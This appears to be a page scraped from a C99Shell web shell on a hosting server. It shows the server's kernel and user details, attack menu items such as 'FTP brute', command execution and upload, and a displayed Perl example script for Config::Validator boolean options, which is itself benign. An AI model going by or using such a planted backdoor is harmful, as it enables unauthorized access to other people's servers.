!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-Config-Validator/eg/   drwxr-xr-x
Free 6181.44 GB of 6262.64 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ex5.pl (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
#
# ex5: use of Config::Validator's boolean with Getopt::Long and Config::General
#
# note that boolean values can in fact be: undef (i.e. not set), true or false
#
# $ perl ex5.pl -h
# $ perl ex5.pl --flag2 --no-flag3
# $ perl ex5.pl --flag2 --no-flag1 --config ex5-cfg1
#

use strict;
use warnings;
use Config::General qw(ParseConfig);
use Config::Validator qw(is_true is_false);
use Data::Dumper qw(Dumper);
use Getopt::Long qw(GetOptions);

our($Validator, @Options, %Config, @Tmp, %Tmp);

sub clean ($$$$@) {
    my($valid, $schema, $type, $data, @path) = @_;

    return(1) unless $type eq "boolean";
    return(0) if not defined($data) or is_true($data) or is_false($data);
    if ($data eq "0") {
        $_[3] = "false";
    } elsif ($data eq "1") {
        $_[3] = "true";
    }
    return(0);
}

$Data::Dumper::Indent = 1;
$Data::Dumper::Sortkeys = 1;

$Validator = Config::Validator->new({
    type => "struct",
    fields => {
        flag1 => { type => "boolean", optional => "true" },
        flag2 => { type => "boolean", optional => "true" },
        flag3 => { type => "boolean", optional => "true" },
    },
});

@Options = sort($Validator->options(), "config=s", "help|h|?");

# first step: parse the command line options to handle options like --help or --config

@Tmp = @ARGV;
GetOptions(\%Tmp, @Options) or die;
if ($Tmp{help}) {
    printf("Options:%s\n", join("\n  --", "", @Options));
    exit(0);
}

# second step: handle the --config option

if ($Tmp{config}) {
    %Config = ParseConfig(-ConfigFile => $Tmp{config});
    # parse again the command line options using defaults read from the file
    @ARGV = @Tmp;
    GetOptions(\%Config, @Options) or die;
    delete($Config{config});
} else {
    %Config = %Tmp;
}

# third step: transform the Getopt::Long boolean values (0 or 1) into true or false

$Validator->traverse(\&clean, \%Config);

$Validator->validate(\%Config);

print(Dumper(\%Config));

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0112 ]--